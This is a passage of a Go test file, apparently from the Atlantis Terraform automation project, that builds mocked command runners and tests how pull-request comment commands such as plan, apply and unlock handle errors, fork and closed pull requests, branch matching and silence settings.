kept as is. var dbUpdater *events.DBUpdater var pullUpdater *events.PullUpdater var autoMerger *events.AutoMerger var policyCheckCommandRunner *events.PolicyCheckCommandRunner var approvePoliciesCommandRunner *events.ApprovePoliciesCommandRunner var planCommandRunner *events.PlanCommandRunner var applyLockChecker *lockingmocks.MockApplyLockChecker var lockingLocker *lockingmocks.MockLocker var applyCommandRunner *events.ApplyCommandRunner var unlockCommandRunner *events.UnlockCommandRunner var importCommandRunner *events.ImportCommandRunner var preWorkflowHooksCommandRunner events.PreWorkflowHooksCommandRunner var postWorkflowHooksCommandRunner events.PostWorkflowHooksCommandRunner var cancellationTracker *mocks.MockCancellationTracker type TestConfig struct { parallelPoolSize int SilenceNoProjects bool silenceVCSStatusNoPlans bool silenceVCSStatusNoProjects bool StatusName string discardApprovalOnPlan bool database db.Database DisableUnlockLabel string PendingApplyStatus bool applyLockCheckerReturn locking.ApplyCommandLock applyLockCheckerErr error } func setup(t *testing.T, options ...func(testConfig *TestConfig)) *vcsmocks.MockClient { RegisterMockTestingT(t) // create an empty DB tmp := t.TempDir() defaultBoltDB, err := boltdb.New(tmp) t.Cleanup(func() { defaultBoltDB.Close() }) Ok(t, err) testConfig := &TestConfig{ parallelPoolSize: 1, SilenceNoProjects: false, StatusName: "atlantis-test", discardApprovalOnPlan: false, database: defaultBoltDB, DisableUnlockLabel: "do-not-unlock", } for _, op := range options { op(testConfig) } projectCommandBuilder = mocks.NewMockProjectCommandBuilder() eventParsing = mocks.NewMockEventParsing() vcsClient := vcsmocks.NewMockClient() githubGetter = mocks.NewMockGithubPullGetter() gitlabGetter = mocks.NewMockGitlabMergeRequestGetter() azuredevopsGetter = mocks.NewMockAzureDevopsPullGetter() logger := logging.NewNoopLogger(t) projectCommandRunner = mocks.NewMockProjectCommandRunner() workingDir = mocks.NewMockWorkingDir() pendingPlanFinder = mocks.NewMockPendingPlanFinder() commitUpdater = mocks.NewMockCommitStatusUpdater() pullReqStatusFetcher = vcsmocks.NewMockPullReqStatusFetcher() cancellationTracker = mocks.NewMockCancellationTracker() drainer = &events.Drainer{} deleteLockCommand = mocks.NewMockDeleteLockCommand() lockCtrl := gomock.NewController(t) applyLockChecker = lockingmocks.NewMockApplyLockChecker(lockCtrl) lockingLocker = lockingmocks.NewMockLocker(lockCtrl) // Allow incidental calls to CheckApplyLock (called internally during apply operations). // Tests that need specific return values should set applyLockCheckerReturn/applyLockCheckerErr in TestConfig. applyLockChecker.EXPECT().CheckApplyLock().Return(testConfig.applyLockCheckerReturn, testConfig.applyLockCheckerErr).AnyTimes() // Allow incidental calls to UnlockByPull (called during plan operations to clean up locks) lockingLocker.EXPECT().UnlockByPull(gomock.Any(), gomock.Any()).Return(nil, nil).AnyTimes() dbUpdater = &events.DBUpdater{ Database: testConfig.database, } pullUpdater = &events.PullUpdater{ HidePrevPlanComments: false, VCSClient: vcsClient, MarkdownRenderer: events.NewMarkdownRenderer(false, false, false, false, false, false, "", "atlantis", false, false), } autoMerger = &events.AutoMerger{ VCSClient: vcsClient, GlobalAutomerge: false, } policyCheckCommandRunner = events.NewPolicyCheckCommandRunner( dbUpdater, pullUpdater, commitUpdater, projectCommandRunner, testConfig.parallelPoolSize, testConfig.silenceVCSStatusNoProjects, false, ) planCommandRunner = events.NewPlanCommandRunner( testConfig.silenceVCSStatusNoPlans, testConfig.silenceVCSStatusNoProjects, vcsClient, pendingPlanFinder, workingDir, commitUpdater, projectCommandBuilder, projectCommandRunner, cancellationTracker, dbUpdater, pullUpdater, policyCheckCommandRunner, autoMerger, testConfig.parallelPoolSize, testConfig.SilenceNoProjects, testConfig.database, lockingLocker, testConfig.discardApprovalOnPlan, pullReqStatusFetcher, testConfig.PendingApplyStatus, ) applyCommandRunner = events.NewApplyCommandRunner( vcsClient, false, applyLockChecker, commitUpdater, projectCommandBuilder, projectCommandRunner, cancellationTracker, autoMerger, pullUpdater, dbUpdater, testConfig.database, testConfig.parallelPoolSize, testConfig.SilenceNoProjects, testConfig.silenceVCSStatusNoProjects, pullReqStatusFetcher, ) approvePoliciesCommandRunner = events.NewApprovePoliciesCommandRunner( commitUpdater, projectCommandBuilder, projectCommandRunner, pullUpdater, dbUpdater, testConfig.SilenceNoProjects, testConfig.silenceVCSStatusNoProjects, vcsClient, ) unlockCommandRunner = events.NewUnlockCommandRunner( deleteLockCommand, vcsClient, testConfig.SilenceNoProjects, testConfig.DisableUnlockLabel, ) versionCommandRunner := events.NewVersionCommandRunner( pullUpdater, projectCommandBuilder, projectCommandRunner, testConfig.parallelPoolSize, testConfig.SilenceNoProjects, ) importCommandRunner = events.NewImportCommandRunner( pullUpdater, pullReqStatusFetcher, projectCommandBuilder, projectCommandRunner, testConfig.SilenceNoProjects, ) commentCommandRunnerByCmd := map[command.Name]events.CommentCommandRunner{ command.Plan: planCommandRunner, command.Apply: applyCommandRunner, command.ApprovePolicies: approvePoliciesCommandRunner, command.Unlock: unlockCommandRunner, command.Version: versionCommandRunner, command.Import: importCommandRunner, } preWorkflowHooksCommandRunner = mocks.NewMockPreWorkflowHooksCommandRunner() When(preWorkflowHooksCommandRunner.RunPreHooks(Any[*command.Context](), Any[*events.CommentCommand]())).ThenReturn(nil) postWorkflowHooksCommandRunner = mocks.NewMockPostWorkflowHooksCommandRunner() When(postWorkflowHooksCommandRunner.RunPostHooks(Any[*command.Context](), Any[*events.CommentCommand]())).ThenReturn(nil) globalCfg := valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{}) scope := metricstest.NewLoggingScope(t, logger, "atlantis") ch = events.DefaultCommandRunner{ VCSClient: vcsClient, CommentCommandRunnerByCmd: commentCommandRunnerByCmd, EventParser: eventParsing, FailOnPreWorkflowHookError: false, GithubPullGetter: githubGetter, GitlabMergeRequestGetter: gitlabGetter, AzureDevopsPullGetter: azuredevopsGetter, Logger: logger, StatsScope: scope, GlobalCfg: globalCfg, AllowForkPRs: false, AllowForkPRsFlag: "allow-fork-prs-flag", Drainer: drainer, PreWorkflowHooksCommandRunner: preWorkflowHooksCommandRunner, PostWorkflowHooksCommandRunner: postWorkflowHooksCommandRunner, PullStatusFetcher: testConfig.database, CommitStatusUpdater: commitUpdater, } return vcsClient } func TestRunCommentCommand_LogPanics(t *testing.T) { t.Log("if there is a panic it is commented back on the pull request") vcsClient := setup(t) When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenPanic( "panic test - if you're seeing this in a test failure this isn't the failing test") ch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, 1, &events.CommentCommand{Name: command.Plan}) _, _, _, comment, _ := vcsClient.VerifyWasCalledOnce().CreateComment( Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()).GetCapturedArguments() Assert(t, strings.Contains(comment, "Error: goroutine panic"), fmt.Sprintf("comment should be about a goroutine panic but was %q", comment)) } func TestRunCommentCommand_GithubPullErr(t *testing.T) { t.Log("if getting the github pull request fails an error should be logged") vcsClient := setup(t) When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(nil, errors.New("err")) ch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan}) vcsClient.VerifyWasCalledOnce().CreateComment( Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num), Eq("`Error: making pull request API call to GitHub: err`"), Eq("")) } func TestRunCommentCommand_GitlabMergeRequestErr(t *testing.T) { t.Log("if getting the gitlab merge request fails an error should be logged") vcsClient := setup(t) When(gitlabGetter.GetMergeRequest(Any[logging.SimpleLogging](), Eq(testdata.GitlabRepo.FullName), Eq(testdata.Pull.Num))).ThenReturn(nil, errors.New("err")) ch.RunCommentCommand(testdata.GitlabRepo, &testdata.GitlabRepo, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan}) vcsClient.VerifyWasCalledOnce().CreateComment( Any[logging.SimpleLogging](), Eq(testdata.GitlabRepo), Eq(testdata.Pull.Num), Eq("`Error: making merge request API call to GitLab: err`"), Eq("")) } func TestRunCommentCommand_GithubPullParseErr(t *testing.T) { t.Log("if parsing the returned github pull request fails an error should be logged") vcsClient := setup(t) var pull github.PullRequest When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil) When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(testdata.Pull, testdata.GithubRepo, testdata.GitlabRepo, errors.New("err")) ch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan}) vcsClient.VerifyWasCalledOnce().CreateComment( Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num), Eq("`Error: extracting required fields from comment data: err`"), Eq("")) } func TestRunCommentCommand_CommentPreWorkflowHookFailure(t *testing.T) { t.Log("if there is a pre-workflowhook failure with failure enabled it is commented back on the pull request") vcsClient := setup(t) ch.FailOnPreWorkflowHookError = true When(preWorkflowHooksCommandRunner.RunPreHooks(Any[*command.Context](), Any[*events.CommentCommand]())).ThenReturn(errors.New("err")) ch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, 1, &events.CommentCommand{Name: command.Plan}) _, _, _, comment, _ := vcsClient.VerifyWasCalledOnce().CreateComment( Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()).GetCapturedArguments() Assert(t, strings.Contains(comment, "Error: Pre-workflow hook failed"), fmt.Sprintf("comment should be about a pre-workflow hook failure but was %q", comment)) } func TestRunCommentCommand_TeamAllowListChecker(t *testing.T) { t.Run("nil checker", func(t *testing.T) { vcsClient := setup(t) // by default these are false so don't need to reset ch.TeamAllowlistChecker = nil var pull github.PullRequest modelPull := models.PullRequest{ BaseRepo: testdata.GithubRepo, State: models.OpenPullState, } When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil) When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan}) vcsClient.VerifyWasCalled(Never()).GetTeamNamesForUser(ch.Logger, testdata.GithubRepo, testdata.User) vcsClient.VerifyWasCalledOnce().CreateComment( Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull.Num), Eq("Ran Plan for 0 projects:"), Eq("plan")) }) t.Run("no rules", func(t *testing.T) { vcsClient := setup(t) // by default these are false so don't need to reset ch.TeamAllowlistChecker = &command.DefaultTeamAllowlistChecker{} var pull github.PullRequest modelPull := models.PullRequest{ BaseRepo: testdata.GithubRepo, State: models.OpenPullState, } When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil) When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan}) vcsClient.VerifyWasCalled(Never()).GetTeamNamesForUser(ch.Logger, testdata.GithubRepo, testdata.User) vcsClient.VerifyWasCalledOnce().CreateComment( Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull.Num), Eq("Ran Plan for 0 projects:"), Eq("plan")) }) } func TestRunCommentCommand_ForkPRDisabled(t *testing.T) { t.Log("if a command is run on a forked pull request and this is disabled atlantis should" + " comment saying that this is not allowed") vcsClient := setup(t) // by default these are false so don't need to reset ch.AllowForkPRs = false ch.SilenceForkPRErrors = false var pull github.PullRequest modelPull := models.PullRequest{ BaseRepo: testdata.GithubRepo, State: models.OpenPullState, } When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil) headRepo := testdata.GithubRepo headRepo.FullName = "forkrepo/atlantis" headRepo.Owner = "forkrepo" When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, headRepo, nil) ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan}) commentMessage := fmt.Sprintf("Atlantis commands can't be run on fork pull requests. To enable, set --%s or, to disable this message, set --%s", ch.AllowForkPRsFlag, ch.SilenceForkPRErrorsFlag) vcsClient.VerifyWasCalledOnce().CreateComment( Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull.Num), Eq(commentMessage), Eq("")) } func TestRunCommentCommand_ForkPRDisabled_SilenceEnabled(t *testing.T) { t.Log("if a command is run on a forked pull request and forks are disabled and we are silencing errors do not comment with error") vcsClient := setup(t) ch.AllowForkPRs = false // by default it's false so don't need to reset ch.SilenceForkPRErrors = true var pull github.PullRequest modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState} When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil) headRepo := testdata.GithubRepo headRepo.FullName = "forkrepo/atlantis" headRepo.Owner = "forkrepo" When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, headRepo, nil) ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan}) vcsClient.VerifyWasCalled(Never()).CreateComment( Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()) } func TestRunCommentCommandPlan_NoProjects_SilenceEnabled(t *testing.T) { t.Log("if a plan command is run on a pull request and SilenceNoProjects is enabled and we are silencing all comments if the modified files don't have a matching project") vcsClient := setup(t) planCommandRunner.SilenceNoProjects = true var pull github.PullRequest modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState} When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil) When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan}) vcsClient.VerifyWasCalled(Never()).CreateComment( Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()) commitUpdater.VerifyWasCalledOnce().UpdateCombinedCount( Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Eq[models.CommitStatus](models.SuccessCommitStatus), Eq[command.Name](command.Plan), Eq(0), Eq(0), ) } func TestRunCommentCommandPlan_NoProjectsTarget_SilenceEnabled(t *testing.T) { // TODO t.Log("if a plan command is run against a project and SilenceNoProjects is enabled, we are silencing all comments if the project is not in the repo config") vcsClient := setup(t) planCommandRunner.SilenceNoProjects = true var pull github.PullRequest modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState} When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil) When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan, ProjectName: "meow"}) vcsClient.VerifyWasCalled(Never()).CreateComment( Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()) commitUpdater.VerifyWasCalledOnce().UpdateCombinedCount( Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Eq[models.CommitStatus](models.SuccessCommitStatus), Eq[command.Name](command.Plan), Eq(0), Eq(0), ) } func TestRunCommentCommandApply_NoProjects_SilenceEnabled(t *testing.T) { t.Log("if an apply command is run on a pull request and SilenceNoProjects is enabled and we are silencing all comments if the modified files don't have a matching project") vcsClient := setup(t) applyCommandRunner.SilenceNoProjects = true var pull github.PullRequest modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState} When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil) When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Apply}) vcsClient.VerifyWasCalled(Never()).CreateComment( Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()) commitUpdater.VerifyWasCalledOnce().UpdateCombined( Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Eq(models.PendingCommitStatus), Eq(command.Apply)) } func TestRunCommentCommandApprovePolicy_NoProjects_SilenceEnabled(t *testing.T) { t.Log("if an approve_policy command is run on a pull request and SilenceNoProjects is enabled and we are silencing all comments if the modified files don't have a matching project") vcsClient := setup(t) approvePoliciesCommandRunner.SilenceNoProjects = true var pull github.PullRequest modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState} When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil) When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.ApprovePolicies}) vcsClient.VerifyWasCalled(Never()).CreateComment( Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()) } func TestRunCommentCommandUnlock_NoProjects_SilenceEnabled(t *testing.T) { t.Log("if an unlock command is run on a pull request and SilenceNoProjects is enabled and we are silencing all comments if the modified files don't have a matching project") vcsClient := setup(t) unlockCommandRunner.SilenceNoProjects = true var pull github.PullRequest modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState} When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil) When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Unlock}) vcsClient.VerifyWasCalled(Never()).CreateComment(Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()) commitUpdater.VerifyWasCalled(Never()).UpdateCombined( Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Eq(models.PendingCommitStatus), Any[command.Name]()) } func TestRunCommentCommandImport_NoProjects_SilenceEnabled(t *testing.T) { t.Log("if an import command is run on a pull request and SilenceNoProjects is enabled, we are silencing all comments if the modified files don't have a matching project") vcsClient := setup(t) importCommandRunner.SilenceNoProjects = true var pull github.PullRequest modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState} When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil) When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Import}) vcsClient.VerifyWasCalled(Never()).CreateComment(Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()) } func TestRunCommentCommand_DisableApplyAllDisabled(t *testing.T) { t.Log("if \"atlantis apply\" is run and this is disabled atlantis should" + " comment saying that this is not allowed") vcsClient := setup(t) applyCommandRunner.DisableApplyAll = true pull := &github.PullRequest{ State: github.Ptr("open"), } modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(pull, nil) When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, modelPull.Num, &events.CommentCommand{Name: command.Apply}) vcsClient.VerifyWasCalledOnce().CreateComment( Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull.Num), Eq("**Error:** Running `atlantis apply` without flags is disabled. You must specify which project to apply via the `-d `, `-w ` or `-p ` flags."), Eq("apply")) } func TestRunCommentCommand_DisableAutoplan(t *testing.T) { t.Log("if \"DisableAutoplan\" is true, auto plans are disabled and we are silencing return and do not comment with error") setup(t) modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, BaseBranch: "main"} ch.DisableAutoplan = true defer func() { ch.DisableAutoplan = false }() When(projectCommandBuilder.BuildAutoplanCommands(Any[*command.Context]())). ThenReturn([]command.ProjectContext{ { CommandName: command.Plan, }, { CommandName: command.Plan, }, }, nil) When(commitUpdater.UpdateCombinedCount(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[models.CommitStatus](), Any[command.Name](), Any[int](), Any[int]())).ThenReturn(nil) ch.RunAutoplanCommand(testdata.GithubRepo, testdata.GithubRepo, modelPull, testdata.User) projectCommandBuilder.VerifyWasCalled(Never()).BuildAutoplanCommands(Any[*command.Context]()) } func TestRunCommentCommand_DisableAutoplanLabel(t *testing.T) { t.Log("if \"DisableAutoplanLabel\" is present and pull request has that label, auto plans are disabled and we are silencing return and do not comment with error") vcsClient := setup(t) modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, BaseBranch: "main"} ch.DisableAutoplanLabel = "disable-auto-plan" defer func() { ch.DisableAutoplanLabel = "" }() When(projectCommandBuilder.BuildAutoplanCommands(Any[*command.Context]())). ThenReturn([]command.ProjectContext{ { CommandName: command.Plan, }, { CommandName: command.Plan, }, }, nil) When(ch.VCSClient.GetPullLabels( Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull))).ThenReturn([]string{"disable-auto-plan", "need-help"}, nil) ch.RunAutoplanCommand(testdata.GithubRepo, testdata.GithubRepo, modelPull, testdata.User) projectCommandBuilder.VerifyWasCalled(Never()).BuildAutoplanCommands(Any[*command.Context]()) vcsClient.VerifyWasCalledOnce().GetPullLabels(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull)) } func TestRunCommentCommand_DisableAutoplanLabel_PullNotLabeled(t *testing.T) { t.Log("if \"DisableAutoplanLabel\" is present but pull request doesn't have that label, auto plans run") vcsClient := setup(t) modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, BaseBranch: "main"} ch.DisableAutoplanLabel = "disable-auto-plan" defer func() { ch.DisableAutoplanLabel = "" }() When(projectCommandBuilder.BuildAutoplanCommands(Any[*command.Context]())). ThenReturn([]command.ProjectContext{ { CommandName: command.Plan, }, { CommandName: command.Plan, }, }, nil) When(ch.VCSClient.GetPullLabels(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull))).ThenReturn(nil, nil) ch.RunAutoplanCommand(testdata.GithubRepo, testdata.GithubRepo, modelPull, testdata.User) projectCommandBuilder.VerifyWasCalled(Once()).BuildAutoplanCommands(Any[*command.Context]()) vcsClient.VerifyWasCalledOnce().GetPullLabels(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull)) } func TestRunCommentCommand_ClosedPull(t *testing.T) { t.Log("if a command is run on a closed pull request atlantis should" + " comment saying that this is not allowed") vcsClient := setup(t) pull := &github.PullRequest{ State: github.Ptr("closed"), } modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.ClosedPullState, Num: testdata.Pull.Num} When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(pull, nil) When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) ch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan}) vcsClient.VerifyWasCalledOnce().CreateComment( Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull.Num), Eq("Atlantis commands can't be run on closed pull requests"), Eq("")) } func TestRunCommentCommand_MatchedBranch(t *testing.T) { t.Log("if a command is run on a pull request which matches base branches run plan successfully") vcsClient := setup(t) ch.GlobalCfg.Repos = append(ch.GlobalCfg.Repos, valid.Repo{ IDRegex: regexp.MustCompile(".*"), BranchRegex: regexp.MustCompile("^main$"), }) var pull github.PullRequest modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, BaseBranch: "main"} When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil) When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan}) vcsClient.VerifyWasCalledOnce().CreateComment( Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull.Num), Eq("Ran Plan for 0 projects:"), Eq("plan")) } func TestRunCommentCommand_UnmatchedBranch(t *testing.T) { t.Log("if a command is run on a pull request which doesn't match base branches do not comment with error") vcsClient := setup(t) ch.GlobalCfg.Repos = append(ch.GlobalCfg.Repos, valid.Repo{ IDRegex: regexp.MustCompile(".*"), BranchRegex: regexp.MustCompile("^main$"), }) var pull github.PullRequest modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, BaseBranch: "foo"} When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil) When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan}) vcsClient.VerifyWasCalled(Never()).CreateComment(Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()) } func TestRunUnlockCommand_VCSComment(t *testing.T) { testCases := []struct { name string prState *string }{ { name: "PR open", prState: github.Ptr("open"), }, { name: "PR closed", prState: github.Ptr("closed"), }, } for _, tc := range testCases { t.Run(tc.name, func(t *testing.T) { t.Logf("if an unlock command is run on a pull request in state %s, atlantis should"+ " invoke the delete command and comment on PR accordingly", *tc.prState) vcsClient := setup(t) pull := &github.PullRequest{ State: tc.prState, } modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(pull, nil) When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) ch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Unlock}) deleteLockCommand.VerifyWasCalledOnce().DeleteLocksByPull(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo.FullName), Eq(testdata.Pull.Num)) vcsClient.VerifyWasCalledOnce().CreateComment( Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num), Eq("All Atlantis locks for this PR have been unlocked and plans discarded"), Eq("unlock")) }) } } func TestRunUnlockCommandFail_VCSComment(t *testing.T) { t.Log("if unlock PR command is run and delete fails, atlantis should" + " invoke comment on PR with error message") vcsClient := setup(t) pull := &github.PullRequest{ State: github.Ptr("open"), } modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(pull, nil) When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) When(deleteLockCommand.DeleteLocksByPull(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo.FullName), Eq(testdata.Pull.Num))).ThenReturn(0, errors.New("err")) 